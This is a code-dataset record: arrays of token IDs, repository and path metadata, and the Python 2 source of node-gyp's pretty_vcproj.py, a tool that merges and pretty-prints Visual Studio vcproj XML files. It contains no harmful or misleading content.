1367, 11272, 9461, 1367, 614, 531, 272, 702, 63, 25920, 10804, 272, 702, 63, 25920, 4582, 1845, 25, 60, 1845, 17, 65, 60, 88, 969, 60, 88, 17, 66, 52, 21, 60, 1812, 24, 531, 221, 327, 9571, 12, 2222, 13, 12292, 1318, 421, 199, 318, 511, 63, 13487, 837, 272, 327, 4155, 1536, 2005, 17516, 2883, 367, 5343, 12901, 14, 272, 7974, 63, 498, 63, 495, 275, 408, 9858, 15947, 21755, 9301, 9858, 199, 10709, 2100, 41, 74, 879, 23571, 75, 81, 72, 8810, 39, 25, 87, 16, 4134, 31668, 2078, 23320, 3263, 49, 24, 1156, 41, 2100, 35, 71, 43, 3263, 49, 11765, 17, 72, 18750, 74, 48, 16, 79, 54, 16, 53, 89, 22725, 74, 49, 11, 1721, 90, 199, 67, 11, 69, 57, 67, 20, 2713, 2327, 66, 15, 55, 80, 9681, 57, 619, 2721, 7697, 49, 5797, 68, 1168, 12393, 19886, 49, 82, 2426, 11, 337, 71, 81, 24974, 88, 47, 72, 11, 48, 32345, 19674, 24, 49, 1440, 90, 74, 2673, 85, 20, 199, 21, 15, 17541, 12393, 13864, 2564, 73, 17, 74, 11026, 71, 11765, 88, 39, 41, 2720, 10582, 23, 74, 25, 36, 84, 40, 11, 23, 10344, 74, 11, 1690, 90, 50, 21, 88, 24482, 52, 1887, 74, 43, 16, 90, 13586, 21, 20958, 45, 4651, 21, 6524, 81, 199, 34, 1734, 75, 90, 23, 8373, 55, 90, 21733, 57, 42, 58, 49, 88, 9687, 83, 48, 80, 22, 28022, 17, 57, 21, 40, 21, 47, 24, 20821, 42, 54, 68, 3561, 609, 24, 83, 46, 559, 51, 20, 2208, 20, 58, 615, 49, 19, 6153, 34, 6323, 90, 199, 72, 21, 2772, 74, 681, 90, 17, 45, 1831, 27428, 2662, 26257, 33, 1587, 39, 11, 20, 28493, 23, 83, 54, 87, 57, 20692, 18, 11641, 49, 69, 28868, 30668, 21, 15, 88, 4812, 46, 4077, 25026, 1480, 47, 3716, 90, 16, 46, 25, 3383, 39, 199, 3583, 11026, 12259, 65, 18, 14738, 72, 5676, 23, 3951, 23, 15, 90, 346, 28779, 2591, 70, 11, 79, 21, 87, 4238, 76, 35, 42, 44, 17, 43, 18256, 20, 37, 74, 609, 81, 57, 86, 35, 19196, 55, 78, 4029, 11, 11903, 57, 33, 26257, 19, 45, 199, 17420, 998, 20152, 1217, 199, 9858, 3902, 21755, 9301, 9858, 624, 272, 16254, 63, 498, 63, 495, 275, 408, 9858, 15947, 18471, 28644, 1951, 9301, 9858, 199, 10709, 4332, 80, 33, 2100, 2276, 43, 3263, 49, 11765, 17, 72, 18750, 74, 48, 16, 79, 54, 16, 53, 89, 22725, 74, 49, 11, 1721, 26698, 11, 69, 57, 67, 20, 2713, 2327, 66, 15, 55, 80, 9681, 57, 619, 2721, 7697, 49, 5797, 68, 199, 1168, 12393, 19886, 49, 82, 2426, 11, 337, 71, 81, 24974, 88, 47, 72, 11, 48, 32345, 19674, 24, 49, 1440, 90, 74, 2673, 85, 2322, 15, 17541, 12393, 13864, 2564, 73, 17, 74, 11026, 71, 11765, 88, 39, 41, 2720, 10582, 23, 74, 25, 199, 36, 84, 40, 11, 23, 10344, 74, 11, 1690, 90, 50, 21, 88, 24482, 52, 1887, 74, 43, 16, 90, 13586, 21, 20958, 45, 4651, 21, 6524, 81, 34, 1734, 75, 90, 23, 8373, 55, 90, 21733, 57, 42, 58, 49, 88, 9687, 83, 48, 80, 22, 28022, 17, 199, 57, 21, 40, 21, 47, 24, 20821, 42, 54, 68, 3561, 609, 24, 83, 46, 559, 51, 20, 2208, 20, 58, 615, 49, 19, 6153, 34, 6323, 3951, 21, 2772, 74, 681, 90, 17, 45, 1831, 27428, 2662, 26257, 33, 1587, 39, 11, 20, 28493, 23, 83, 199, 54, 87, 57, 20692, 18, 11641, 49, 69, 28868, 30668, 21, 15, 88, 4812, 46, 4077, 25026, 1480, 47, 3716, 90, 16, 46, 25, 3383, 39, 3583, 11026, 12259, 65, 18, 14738, 72, 5676, 23, 3951, 23, 15, 90, 346, 28779, 2591, 70, 11, 79, 199, 21, 87, 4238, 76, 35, 42, 44, 17, 43, 18256, 20, 37, 74, 609, 81, 57, 86, 35, 19196, 55, 78, 4029, 11, 11903, 57, 33, 26257, 19, 3635, 49, 998, 20152, 1217, 31707, 2100, 20152, 35, 433, 26278, 1555, 2592, 545, 27428, 51, 199, 47, 1508, 37, 5470, 1165, 49, 8045, 17585, 15, 25064, 17188, 84, 58, 18, 50, 596, 13026, 57, 2167, 2756, 23, 27629, 19, 10780, 1976, 87, 22, 3630, 21, 454, 82, 52, 6323, 4850, 1003, 56, 78, 27084, 39, 16, 199, 41, 18, 77, 2944, 45, 16, 43, 19963, 2587, 17, 78, 23, 456, 19716, 23, 55, 9745, 2148, 7579, 52, 19, 77, 7343, 43, 18, 47, 86, 15, 40, 77, 14176, 58, 1344, 78, 47, 18, 12595, 75, 56, 33, 22, 15, 56, 89, 19, 82, 18998, 7608, 25, 44, 199, 78, 4187, 17, 75, 4929, 90, 52, 15, 38, 72, 25, 2182, 343, 70, 51, 25, 90, 25489, 7178, 34, 16168, 22, 889, 16, 82, 54, 75, 39, 88, 21, 78, 43, 19, 86 ]
[ 1300, 772, 199, 504, 11354, 14, 2537, 492, 702, 63, 11332, 199, 199, 504, 21577, 14, 16432, 14, 4712, 63, 5500, 14, 83, 31561, 492, 334, 272, 282, 397, 63, 15682, 12, 282, 397, 63, 11929, 12, 14645, 63, 460, 63, 2143, 12, 4849, 63, 460, 63, 15682, 12, 272, 23609, 63, 15682, 12, 23609, 63, 11929, 199, 9, 421, 199, 318, 511, 63, 17499, 837, 272, 790, 63, 495, 275, 298, 708, 771, 2819, 31498, 18, 12198, 1602, 271, 25, 69, 975, 845, 2192, 66, 1477, 1276, 67, 24, 68, 1401, 2894, 697, 22, 70, 21, 1587, 13212, 3624, 14832, 66, 16029, 7680, 70, 18, 9747, 2, 272, 790, 275, 790, 63, 495, 14, 2708, 480, 4097, 531, 339, 347, 702, 63, 25920, 8, 505, 304, 267, 702, 63, 11332, 8, 505, 12, 282, 397, 63, 15682, 8, 17499, 63, 11929, 8, 505, 12, 790, 395, 790, 430, 267, 702, 63, 11332, 8, 288, 1318, 12, 288, 4849, 63, 460, 63, 15682, 8, 355, 14645, 63, 460, 63, 2143, 8, 505, 12, 790, 395, 355, 790, 288, 776, 267, 776, 339, 702, 63, 25920, 480, 6257, 13064, 9124, 272, 702, 63, 25920, 480, 11272, 9461, 1367, 531, 221, 327, 19093, 1853, 1568, 12, 6273, 17703, 1930, 272, 327, 491, 265, 836, 1059, 272, 702, 63, 25920, 480, 11272, 9461, 1367, 11272, 9461, 1367, 11272, 9461, 1367, 614, 531, 272, 702, 63, 25920, 10804, 272, 702, 63, 25920, 4582, 1845, 25, 60, 1845, 17, 65, 60, 88, 969, 60, 88, 17, 66, 52, 21, 60, 1812, 24, 531, 221, 327, 9571, 12, 2222, 13, 12292, 1318, 421, 199, 318, 511, 63, 13487, 837, 272, 327, 4155, 1536, 2005, 17516, 2883, 367, 5343, 12901, 14, 272, 7974, 63, 498, 63, 495, 275, 408, 9858, 15947, 21755, 9301, 9858, 199, 10709, 2100, 41, 74, 879, 23571, 75, 81, 72, 8810, 39, 25, 87, 16, 4134, 31668, 2078, 23320, 3263, 49, 24, 1156, 41, 2100, 35, 71, 43, 3263, 49, 11765, 17, 72, 18750, 74, 48, 16, 79, 54, 16, 53, 89, 22725, 74, 49, 11, 1721, 90, 199, 67, 11, 69, 57, 67, 20, 2713, 2327, 66, 15, 55, 80, 9681, 57, 619, 2721, 7697, 49, 5797, 68, 1168, 12393, 19886, 49, 82, 2426, 11, 337, 71, 81, 24974, 88, 47, 72, 11, 48, 32345, 19674, 24, 49, 1440, 90, 74, 2673, 85, 20, 199, 21, 15, 17541, 12393, 13864, 2564, 73, 17, 74, 11026, 71, 11765, 88, 39, 41, 2720, 10582, 23, 74, 25, 36, 84, 40, 11, 23, 10344, 74, 11, 1690, 90, 50, 21, 88, 24482, 52, 1887, 74, 43, 16, 90, 13586, 21, 20958, 45, 4651, 21, 6524, 81, 199, 34, 1734, 75, 90, 23, 8373, 55, 90, 21733, 57, 42, 58, 49, 88, 9687, 83, 48, 80, 22, 28022, 17, 57, 21, 40, 21, 47, 24, 20821, 42, 54, 68, 3561, 609, 24, 83, 46, 559, 51, 20, 2208, 20, 58, 615, 49, 19, 6153, 34, 6323, 90, 199, 72, 21, 2772, 74, 681, 90, 17, 45, 1831, 27428, 2662, 26257, 33, 1587, 39, 11, 20, 28493, 23, 83, 54, 87, 57, 20692, 18, 11641, 49, 69, 28868, 30668, 21, 15, 88, 4812, 46, 4077, 25026, 1480, 47, 3716, 90, 16, 46, 25, 3383, 39, 199, 3583, 11026, 12259, 65, 18, 14738, 72, 5676, 23, 3951, 23, 15, 90, 346, 28779, 2591, 70, 11, 79, 21, 87, 4238, 76, 35, 42, 44, 17, 43, 18256, 20, 37, 74, 609, 81, 57, 86, 35, 19196, 55, 78, 4029, 11, 11903, 57, 33, 26257, 19, 45, 199, 17420, 998, 20152, 1217, 199, 9858, 3902, 21755, 9301, 9858, 624, 272, 16254, 63, 498, 63, 495, 275, 408, 9858, 15947, 18471, 28644, 1951, 9301, 9858, 199, 10709, 4332, 80, 33, 2100, 2276, 43, 3263, 49, 11765, 17, 72, 18750, 74, 48, 16, 79, 54, 16, 53, 89, 22725, 74, 49, 11, 1721, 26698, 11, 69, 57, 67, 20, 2713, 2327, 66, 15, 55, 80, 9681, 57, 619, 2721, 7697, 49, 5797, 68, 199, 1168, 12393, 19886, 49, 82, 2426, 11, 337, 71, 81, 24974, 88, 47, 72, 11, 48, 32345, 19674, 24, 49, 1440, 90, 74, 2673, 85, 2322, 15, 17541, 12393, 13864, 2564, 73, 17, 74, 11026, 71, 11765, 88, 39, 41, 2720, 10582, 23, 74, 25, 199, 36, 84, 40, 11, 23, 10344, 74, 11, 1690, 90, 50, 21, 88, 24482, 52, 1887, 74, 43, 16, 90, 13586, 21, 20958, 45, 4651, 21, 6524, 81, 34, 1734, 75, 90, 23, 8373, 55, 90, 21733, 57, 42, 58, 49, 88, 9687, 83, 48, 80, 22, 28022, 17, 199, 57, 21, 40, 21, 47, 24, 20821, 42, 54, 68, 3561, 609, 24, 83, 46, 559, 51, 20, 2208, 20, 58, 615, 49, 19, 6153, 34, 6323, 3951, 21, 2772, 74, 681, 90, 17, 45, 1831, 27428, 2662, 26257, 33, 1587, 39, 11, 20, 28493, 23, 83, 199, 54, 87, 57, 20692, 18, 11641, 49, 69, 28868, 30668, 21, 15, 88, 4812, 46, 4077, 25026, 1480, 47, 3716, 90, 16, 46, 25, 3383, 39, 3583, 11026, 12259, 65, 18, 14738, 72, 5676, 23, 3951, 23, 15, 90, 346, 28779, 2591, 70, 11, 79, 199, 21, 87, 4238, 76, 35, 42, 44, 17, 43, 18256, 20, 37, 74, 609, 81, 57, 86, 35, 19196, 55, 78, 4029, 11, 11903, 57, 33, 26257, 19, 3635, 49, 998, 20152, 1217, 31707, 2100, 20152, 35, 433, 26278, 1555, 2592, 545, 27428, 51, 199, 47, 1508, 37, 5470, 1165, 49, 8045, 17585, 15, 25064, 17188, 84, 58, 18, 50, 596, 13026, 57, 2167, 2756, 23, 27629, 19, 10780, 1976, 87, 22, 3630, 21, 454, 82, 52, 6323, 4850, 1003, 56, 78, 27084, 39, 16, 199, 41, 18, 77, 2944, 45, 16, 43, 19963, 2587, 17, 78, 23, 456, 19716, 23, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
shadow000902/blog_source
node_modules/npm/node_modules/node-gyp/gyp/tools/pretty_vcproj.py
2637
9586
#!/usr/bin/env python # Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Make the format of a vcproj really pretty. This script normalize and sort an xml. It also fetches all the properties inside linked vsprops and include them explicitly in the vcproj. It outputs the resulting xml to stdout. """ __author__ = 'nsylvain (Nicolas Sylvain)' import os import sys from xml.dom.minidom import parse from xml.dom.minidom import Node REPLACEMENTS = dict() ARGUMENTS = None class CmpTuple(object): """Compare function between 2 tuple.""" def __call__(self, x, y): return cmp(x[0], y[0]) class CmpNode(object): """Compare function between 2 xml nodes.""" def __call__(self, x, y): def get_string(node): node_string = "node" node_string += node.nodeName if node.nodeValue: node_string += node.nodeValue if node.attributes: # We first sort by name, if present. node_string += node.getAttribute("Name") all_nodes = [] for (name, value) in node.attributes.items(): all_nodes.append((name, value)) all_nodes.sort(CmpTuple()) for (name, value) in all_nodes: node_string += name node_string += value return node_string return cmp(get_string(x), get_string(y)) def PrettyPrintNode(node, indent=0): if node.nodeType == Node.TEXT_NODE: if node.data.strip(): print '%s%s' % (' '*indent, node.data.strip()) return if node.childNodes: node.normalize() # Get the number of attributes attr_count = 0 if node.attributes: attr_count = node.attributes.length # Print the main tag if attr_count == 0: print '%s<%s>' % (' '*indent, node.nodeName) else: print '%s<%s' % (' '*indent, node.nodeName) all_attributes = [] for (name, value) in node.attributes.items(): all_attributes.append((name, value)) all_attributes.sort(CmpTuple()) for (name, value) in all_attributes: print '%s %s="%s"' % (' '*indent, name, value) print '%s>' % (' '*indent) if node.nodeValue: print '%s %s' % (' '*indent, node.nodeValue) for sub_node in node.childNodes: PrettyPrintNode(sub_node, indent=indent+2) print '%s</%s>' % (' '*indent, node.nodeName) def FlattenFilter(node): """Returns a list of all the node and sub nodes.""" node_list = [] if (node.attributes and node.getAttribute('Name') == '_excluded_files'): # We don't add the "_excluded_files" filter. return [] for current in node.childNodes: if current.nodeName == 'Filter': node_list.extend(FlattenFilter(current)) else: node_list.append(current) return node_list def FixFilenames(filenames, current_directory): new_list = [] for filename in filenames: if filename: for key in REPLACEMENTS: filename = filename.replace(key, REPLACEMENTS[key]) os.chdir(current_directory) filename = filename.strip('"\' ') if filename.startswith('$'): new_list.append(filename) else: new_list.append(os.path.abspath(filename)) return new_list def AbsoluteNode(node): """Makes all the properties we know about in this node absolute.""" if node.attributes: for (name, value) in node.attributes.items(): if name in ['InheritedPropertySheets', 'RelativePath', 'AdditionalIncludeDirectories', 'IntermediateDirectory', 'OutputDirectory', 'AdditionalLibraryDirectories']: # We want to fix up these paths path_list = value.split(';') new_list = FixFilenames(path_list, os.path.dirname(ARGUMENTS[1])) node.setAttribute(name, ';'.join(new_list)) if not value: node.removeAttribute(name) def CleanupVcproj(node): """For each sub node, we call recursively this function.""" for sub_node in node.childNodes: AbsoluteNode(sub_node) CleanupVcproj(sub_node) # Normalize the node, and remove all extranous whitespaces. for sub_node in node.childNodes: if sub_node.nodeType == Node.TEXT_NODE: sub_node.data = sub_node.data.replace("\r", "") sub_node.data = sub_node.data.replace("\n", "") sub_node.data = sub_node.data.rstrip() # Fix all the semicolon separated attributes to be sorted, and we also # remove the dups. if node.attributes: for (name, value) in node.attributes.items(): sorted_list = sorted(value.split(';')) unique_list = [] for i in sorted_list: if not unique_list.count(i): unique_list.append(i) node.setAttribute(name, ';'.join(unique_list)) if not value: node.removeAttribute(name) if node.childNodes: node.normalize() # For each node, take a copy, and remove it from the list. node_array = [] while node.childNodes and node.childNodes[0]: # Take a copy of the node and remove it from the list. current = node.childNodes[0] node.removeChild(current) # If the child is a filter, we want to append all its children # to this same list. if current.nodeName == 'Filter': node_array.extend(FlattenFilter(current)) else: node_array.append(current) # Sort the list. node_array.sort(CmpNode()) # Insert the nodes in the correct order. for new_node in node_array: # But don't append empty tool node. if new_node.nodeName == 'Tool': if new_node.attributes and new_node.attributes.length == 1: # This one was empty. continue if new_node.nodeName == 'UserMacro': continue node.appendChild(new_node) def GetConfiguationNodes(vcproj): #TODO(nsylvain): Find a better way to navigate the xml. nodes = [] for node in vcproj.childNodes: if node.nodeName == "Configurations": for sub_node in node.childNodes: if sub_node.nodeName == "Configuration": nodes.append(sub_node) return nodes def GetChildrenVsprops(filename): dom = parse(filename) if dom.documentElement.attributes: vsprops = dom.documentElement.getAttribute('InheritedPropertySheets') return FixFilenames(vsprops.split(';'), os.path.dirname(filename)) return [] def SeekToNode(node1, child2): # A text node does not have properties. if child2.nodeType == Node.TEXT_NODE: return None # Get the name of the current node. current_name = child2.getAttribute("Name") if not current_name: # There is no name. We don't know how to merge. return None # Look through all the nodes to find a match. for sub_node in node1.childNodes: if sub_node.nodeName == child2.nodeName: name = sub_node.getAttribute("Name") if name == current_name: return sub_node # No match. We give up. return None def MergeAttributes(node1, node2): # No attributes to merge? if not node2.attributes: return for (name, value2) in node2.attributes.items(): # Don't merge the 'Name' attribute. if name == 'Name': continue value1 = node1.getAttribute(name) if value1: # The attribute exist in the main node. If it's equal, we leave it # untouched, otherwise we concatenate it. if value1 != value2: node1.setAttribute(name, ';'.join([value1, value2])) else: # The attribute does nto exist in the main node. We append this one. node1.setAttribute(name, value2) # If the attribute was a property sheet attributes, we remove it, since # they are useless. if name == 'InheritedPropertySheets': node1.removeAttribute(name) def MergeProperties(node1, node2): MergeAttributes(node1, node2) for child2 in node2.childNodes: child1 = SeekToNode(node1, child2) if child1: MergeProperties(child1, child2) else: node1.appendChild(child2.cloneNode(True)) def main(argv): """Main function of this vcproj prettifier.""" global ARGUMENTS ARGUMENTS = argv # check if we have exactly 1 parameter. if len(argv) < 2: print ('Usage: %s "c:\\path\\to\\vcproj.vcproj" [key1=value1] ' '[key2=value2]' % argv[0]) return 1 # Parse the keys for i in range(2, len(argv)): (key, value) = argv[i].split('=') REPLACEMENTS[key] = value # Open the vcproj and parse the xml. dom = parse(argv[1]) # First thing we need to do is find the Configuration Node and merge them # with the vsprops they include. for configuration_node in GetConfiguationNodes(dom.documentElement): # Get the property sheets associated with this configuration. vsprops = configuration_node.getAttribute('InheritedPropertySheets') # Fix the filenames to be absolute. vsprops_list = FixFilenames(vsprops.strip().split(';'), os.path.dirname(argv[1])) # Extend the list of vsprops with all vsprops contained in the current # vsprops. for current_vsprops in vsprops_list: vsprops_list.extend(GetChildrenVsprops(current_vsprops)) # Now that we have all the vsprops, we need to merge them. for current_vsprops in vsprops_list: MergeProperties(configuration_node, parse(current_vsprops).documentElement) # Now that everything is merged, we need to cleanup the xml. CleanupVcproj(dom.documentElement) # Finally, we use the prett xml function to print the vcproj back to the # user. #print dom.toprettyxml(newl="\n") PrettyPrintNode(dom.documentElement) return 0 if __name__ == '__main__': sys.exit(main(sys.argv))
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 5483, 314, 1475, 402, 282, 16548, 5468, 7710, 7268, 14, 8410, 961, 2884, 7666, 436, 4069, 376, 2748, 14, 2779, 2597, 28053, 1006, 314, 4382, 2043, 6272, 10632, 8118, 6750, 436, 2387, 3062, 7662, 315, 314, 16548, 5468, 14, 8410, 2779, 4704, 314, 9183, 2748, 370, 3839, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 21320, 6371, 1581, 334, 20959, 761, 305, 5515, 6371, 1581, 3171, 199, 199, 646, 747, 199, 646, 984, 199, 199, 504, 2748, 14, 4556, 14, 21827, 492, 2198, 199, 504, 2748, 14, 4556, 14, 21827, 492, 5013, 199, 199, 30583, 51, 275, 1211, 342, 199, 24165, 51, 275, 488, 421, 199, 533, 445, 311, 7075, 8, 785, 304, 523, 408, 16051, 805, 3382, 499, 2008, 1041, 523, 347, 636, 1250, 721, 277, 12, 671, 12, 612, 304, 272, 372, 10467, 8, 88, 59, 16, 467, 612, 59, 16, 566, 421, 199, 533, 445, 311, 1716, 8, 785, 304, 523, 408, 16051, 805, 3382, 499, 2748, 3380, 1041, 819, 347, 636, 1250, 721, 277, 12, 671, 12, 612, 304, 272, 347, 664, 63, 875, 8, 932, 304, 489, 1031, 63, 875, 275, 298, 932, 2, 489, 1031, 63, 875, 847, 1031, 14, 13777, 489, 340, 1031, 14, 17240, 26, 267, 1031, 63, 875, 847, 1031, 14, 17240, 2541, 340, 1031, 14, 2987, 26, 267, 327, 2136, 1642, 4069, 701, 536, 12, 340, 3451, 14, 267, 1031, 63, 875, 847, 1031, 14, 12956, 480, 985, 531, 398, 1006, 63, 2415, 275, 942, 267, 367, 334, 354, 12, 574, 9, 315, 1031, 14, 2987, 14, 1744, 837, 881, 1006, 63, 2415, 14, 740, 1332, 354, 12, 574, 430, 398, 1006, 63, 2415, 14, 3191, 8, 31207, 7075, 1012, 267, 367, 334, 354, 12, 574, 9, 315, 1006, 63, 2415, 26, 881, 1031, 63, 875, 847, 536, 881, 1031, 63, 875, 847, 574, 2541, 372, 1031, 63, 875, 339, 372, 10467, 8, 362, 63, 875, 8, 88, 395, 664, 63, 875, 8, 89, 430, 421, 199, 318, 31651, 5375, 1716, 8, 932, 12, 4363, 29, 16, 304, 523, 340, 1031, 14, 12412, 508, 5013, 14, 3876, 63, 8063, 26, 272, 340, 1031, 14, 576, 14, 1913, 837, 489, 870, 1543, 83, 5, 83, 7, 450, 661, 6438, 3724, 12, 1031, 14, 576, 14, 1913, 1012, 272, 372, 819, 340, 1031, 14, 10626, 26, 272, 1031, 14, 7721, 342, 523, 327, 2372, 314, 1329, 402, 3004, 523, 1921, 63, 835, 275, 378, 523, 340, 1031, 14, 2987, 26, 272, 1921, 63, 835, 275, 1031, 14, 2987, 14, 1267, 819, 327, 9101, 314, 2446, 1947, 523, 340, 1921, 63, 835, 508, 378, 26, 272, 870, 1543, 83, 21110, 83, 3524, 450, 661, 6438, 3724, 12, 1031, 14, 13777, 9, 523, 587, 26, 272, 870, 1543, 83, 21110, 83, 7, 450, 661, 6438, 3724, 12, 1031, 14, 13777, 9, 339, 1006, 63, 2987, 275, 942, 272, 367, 334, 354, 12, 574, 9, 315, 1031, 14, 2987, 14, 1744, 837, 489, 1006, 63, 2987, 14, 740, 1332, 354, 12, 574, 430, 489, 1006, 63, 2987, 14, 3191, 8, 31207, 7075, 1012, 272, 367, 334, 354, 12, 574, 9, 315, 1006, 63, 2987, 26, 489, 870, 1543, 83, 221, 450, 83, 5961, 83, 4507, 450, 661, 6438, 3724, 12, 536, 12, 574, 9, 272, 870, 1543, 83, 3524, 450, 661, 6438, 3724, 9, 523, 340, 1031, 14, 17240, 26, 272, 870, 1543, 83, 221, 450, 83, 7, 450, 661, 6438, 3724, 12, 1031, 14, 17240, 9, 819, 367, 1007, 63, 932, 315, 1031, 14, 10626, 26, 272, 31651, 5375, 1716, 8, 954, 63, 932, 12, 4363, 29, 3724, 11, 18, 9, 523, 870, 1543, 83, 26191, 83, 3524, 450, 661, 6438, 3724, 12, 1031, 14, 13777, 9, 421, 199, 318, 19005, 724, 4131, 8, 932, 304, 523, 408, 3407, 282, 769, 402, 1006, 314, 1031, 436, 1007, 3380, 1041, 523, 1031, 63, 513, 275, 942, 819, 340, 334, 932, 14, 2987, 436, 489, 1031, 14, 12956, 360, 985, 358, 508, 2513, 12144, 63, 1725, 735, 489, 327, 2136, 2793, 1133, 1050, 314, 2668, 12144, 63, 1725, 2, 2457, 14, 272, 372, 942, 819, 367, 1453, 315, 1031, 14, 10626, 26, 272, 340, 1453, 14, 13777, 508, 283, 4131, 356, 489, 1031, 63, 513, 14, 2880, 8, 29302, 4131, 8, 1818, 430, 272, 587, 26, 489, 1031, 63, 513, 14, 740, 8, 1818, 9, 819, 372, 1031, 63, 513, 421, 199, 318, 14811, 1173, 1247, 8, 10309, 12, 1453, 63, 3619, 304, 523, 892, 63, 513, 275, 942, 523, 367, 1788, 315, 6203, 26, 272, 340, 1788, 26, 489, 367, 790, 315, 5363, 2749, 22194, 51, 26, 267, 1788, 275, 1788, 14, 1814, 8, 498, 12, 5363, 2749, 22194, 51, 59, 498, 566, 489, 747, 14, 8563, 8, 1818, 63, 3619, 9, 489, 1788, 275, 1788, 14, 1913, 360, 3212, 7, 5320, 489, 340, 1788, 14, 2460, 14676, 735, 267, 892, 63, 513, 14, 740, 8, 1501, 9, 489, 587, 26, 267, 892, 63, 513, 14, 740, 8, 736, 14, 515, 14, 4832, 8, 1501, 430, 523, 372, 892, 63, 513, 421, 199, 318, 24964, 1716, 8, 932, 304, 523, 408, 27142, 1006, 314, 4382, 781, 5715, 3595, 315, 642, 1031, 3679, 1041, 523, 340, 1031, 14, 2987, 26, 272, 367, 334, 354, 12, 574, 9, 315, 1031, 14, 2987, 14, 1744, 837, 489, 340, 536, 315, 788, 607, 8829, 3697, 16715, 83, 297, 283, 22854, 297, 2116, 283, 25336, 297, 2116, 283, 2620, 5050, 6231, 297, 283, 2959, 6231, 297, 2116, 283, 8824, 31636, 2565, 267, 327, 2136, 2934, 370, 5325, 1536, 3520, 3792, 267, 931, 63, 513, 275, 574, 14, 1294, 26468, 267, 892, 63, 513, 275, 14811, 1173, 1247, 8, 515, 63, 513, 12, 747, 14, 515, 14, 3475, 8, 24165, 51, 59, 17, 2459, 267, 1031, 14, 17618, 8, 354, 12, 30955, 904, 8, 1222, 63, 513, 430, 489, 340, 440, 574 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 5483, 314, 1475, 402, 282, 16548, 5468, 7710, 7268, 14, 8410, 961, 2884, 7666, 436, 4069, 376, 2748, 14, 2779, 2597, 28053, 1006, 314, 4382, 2043, 6272, 10632, 8118, 6750, 436, 2387, 3062, 7662, 315, 314, 16548, 5468, 14, 8410, 2779, 4704, 314, 9183, 2748, 370, 3839, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 21320, 6371, 1581, 334, 20959, 761, 305, 5515, 6371, 1581, 3171, 199, 199, 646, 747, 199, 646, 984, 199, 199, 504, 2748, 14, 4556, 14, 21827, 492, 2198, 199, 504, 2748, 14, 4556, 14, 21827, 492, 5013, 199, 199, 30583, 51, 275, 1211, 342, 199, 24165, 51, 275, 488, 421, 199, 533, 445, 311, 7075, 8, 785, 304, 523, 408, 16051, 805, 3382, 499, 2008, 1041, 523, 347, 636, 1250, 721, 277, 12, 671, 12, 612, 304, 272, 372, 10467, 8, 88, 59, 16, 467, 612, 59, 16, 566, 421, 199, 533, 445, 311, 1716, 8, 785, 304, 523, 408, 16051, 805, 3382, 499, 2748, 3380, 1041, 819, 347, 636, 1250, 721, 277, 12, 671, 12, 612, 304, 272, 347, 664, 63, 875, 8, 932, 304, 489, 1031, 63, 875, 275, 298, 932, 2, 489, 1031, 63, 875, 847, 1031, 14, 13777, 489, 340, 1031, 14, 17240, 26, 267, 1031, 63, 875, 847, 1031, 14, 17240, 2541, 340, 1031, 14, 2987, 26, 267, 327, 2136, 1642, 4069, 701, 536, 12, 340, 3451, 14, 267, 1031, 63, 875, 847, 1031, 14, 12956, 480, 985, 531, 398, 1006, 63, 2415, 275, 942, 267, 367, 334, 354, 12, 574, 9, 315, 1031, 14, 2987, 14, 1744, 837, 881, 1006, 63, 2415, 14, 740, 1332, 354, 12, 574, 430, 398, 1006, 63, 2415, 14, 3191, 8, 31207, 7075, 1012, 267, 367, 334, 354, 12, 574, 9, 315, 1006, 63, 2415, 26, 881, 1031, 63, 875, 847, 536, 881, 1031, 63, 875, 847, 574, 2541, 372, 1031, 63, 875, 339, 372, 10467, 8, 362, 63, 875, 8, 88, 395, 664, 63, 875, 8, 89, 430, 421, 199, 318, 31651, 5375, 1716, 8, 932, 12, 4363, 29, 16, 304, 523, 340, 1031, 14, 12412, 508, 5013, 14, 3876, 63, 8063, 26, 272, 340, 1031, 14, 576, 14, 1913, 837, 489, 870, 1543, 83, 5, 83, 7, 450, 661, 6438, 3724, 12, 1031, 14, 576, 14, 1913, 1012, 272, 372, 819, 340, 1031, 14, 10626, 26, 272, 1031, 14, 7721, 342, 523, 327, 2372, 314, 1329, 402, 3004, 523, 1921, 63, 835, 275, 378, 523, 340, 1031, 14, 2987, 26, 272, 1921, 63, 835, 275, 1031, 14, 2987, 14, 1267, 819, 327, 9101, 314, 2446, 1947, 523, 340, 1921, 63, 835, 508, 378, 26, 272, 870, 1543, 83, 21110, 83, 3524, 450, 661, 6438, 3724, 12, 1031, 14, 13777, 9, 523, 587, 26, 272, 870, 1543, 83, 21110, 83, 7, 450, 661, 6438, 3724, 12, 1031, 14, 13777, 9, 339, 1006, 63, 2987, 275, 942, 272, 367, 334, 354, 12, 574, 9, 315, 1031, 14, 2987, 14, 1744, 837, 489, 1006, 63, 2987, 14, 740, 1332, 354, 12, 574, 430, 489, 1006, 63, 2987, 14, 3191, 8, 31207, 7075, 1012, 272, 367, 334, 354, 12, 574, 9, 315, 1006, 63, 2987, 26, 489, 870, 1543, 83, 221, 450, 83, 5961, 83, 4507, 450, 661, 6438, 3724, 12, 536, 12, 574, 9, 272, 870, 1543, 83, 3524, 450, 661, 6438, 3724, 9, 523, 340, 1031, 14, 17240, 26, 272, 870, 1543, 83, 221, 450, 83, 7, 450, 661, 6438, 3724, 